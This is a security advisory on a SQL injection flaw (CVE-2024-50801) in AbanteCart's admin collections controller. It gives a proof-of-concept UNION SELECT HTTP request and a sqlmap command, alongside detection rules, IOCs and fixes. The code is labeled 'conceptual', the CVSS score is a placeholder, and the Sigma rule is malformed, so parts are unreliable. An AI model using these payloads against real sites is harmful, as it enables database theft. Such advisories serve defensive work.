CVE-2024-50801

Executive Summary

CVE-2024-50801 is a critical SQL Injection vulnerability discovered in AbanteCart 1.4.0, specifically within the update() function in the file public_html/admin/controller/responses/listing_grid/collections.php. The vulnerability is exploitable via the id parameter, allowing an unauthenticated attacker to inject arbitrary SQL commands. This can lead to unauthorized data access, modification, or deletion of the database, potentially compromising the entire application and underlying server. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is critical. No official patch is currently available, and the vendor status is unknown.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct vulnerability in the AbanteCart PHP application.

CVSS Breakdown & Threat Level

The CVSS vector string is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, indicating:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerability does not affect other components.
• Confidentiality (C): High (H) – full data exposure.
• Integrity (I): High (H) – full data modification.
• Availability (A): High (H) – potential denial of service.

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to execute arbitrary SQL commands, leading to complete compromise of the database.

Deep Dive & Mechanics

The vulnerability resides in the update() function of collections.php. The id parameter is directly concatenated into a SQL query without proper sanitization or parameterization. This allows an attacker to inject malicious SQL code.

Vulnerable Code Snippet (Conceptual):

// public_html/admin/controller/responses/listing_grid/collections.php
function update() {
    $id = $this->request->get['id'];
    $sql = "UPDATE collections SET name = 'test' WHERE id = " . $id;
    $this->db->query($sql);
}

The attacker can manipulate the id parameter to break out of the intended query structure and execute arbitrary SQL commands.

Vulnerable vs. Patched Code

Vulnerable Code:

$id = $this->request->get['id'];
$sql = "UPDATE collections SET name = 'test' WHERE id = " . $id;
$this->db->query($sql);

Patched Code (Conceptual):

$id = (int)$this->request->get['id']; // Cast to integer
$sql = "UPDATE collections SET name = 'test' WHERE id = " . $id;
$this->db->query($sql);

Or better, using prepared statements:

$id = $this->request->get['id'];
$sql = "UPDATE collections SET name = 'test' WHERE id = ?";
$this->db->query($sql, array($id));

Exploitation & Lab Setup

Red Team

Exploit Proof of Concept (PoC): The following HTTP request demonstrates the SQL injection:

POST /admin/index.php?rt=listing_grid/collections/update HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/admin/index.php?rt=listing_grid/collections/update" --data="id=1" --batch --dbs

Blue Team

Detection Steps:

1. Monitor web server logs for suspicious id parameter values containing SQL keywords (e.g., UNION, SELECT, OR, AND).
2. Implement a Web Application Firewall (WAF) rule to block requests with SQL injection patterns.
3. Use database activity monitoring to detect anomalous queries.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /admin/index.php?rt=listing_grid/collections/update with unusual id parameter values.
  • SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• File IOCs:
  • Modified database entries in the collections table.
  • New files created in the web root (e.g., webshells).
• Log IOCs:
  • Web server logs showing SQL injection attempts.
  • Database logs showing unauthorized queries.

Detection Engineering

YARA Rule

rule CVE_2024_50801_SQLi_AbanteCart {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-50801 in AbanteCart"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50801"
    strings:
        $s1 = "collections/update" nocase
        $s2 = "id=" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "OR" nocase
        $s6 = "AND" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: SQL Injection Attempt Against AbanteCart CVE-2024-50801
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the update() function in AbanteCart
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'rt=listing_grid/collections/update'
        cs-uri-query|contains: 'id='
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of the word "UNION" in a product name (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50801 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/index.php"; http_uri; content:"rt=listing_grid/collections/update"; http_uri; content:"id="; http_client_body; pcre:"/(UNION|SELECT|OR|AND)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: If possible, upgrade to a patched version of AbanteCart. If no patch is available, apply a virtual patch using a WAF.
2. Code Fix: Implement input validation and parameterized queries (prepared statements) for all database interactions.
3. Network Level: Restrict access to the admin panel to trusted IP addresses only.
4. Monitoring: Enable detailed logging for all admin panel requests and database queries.
5. Long-term: Conduct a full security audit of the application to identify and fix similar vulnerabilities.

Valters IT
Securing Digital Frontiers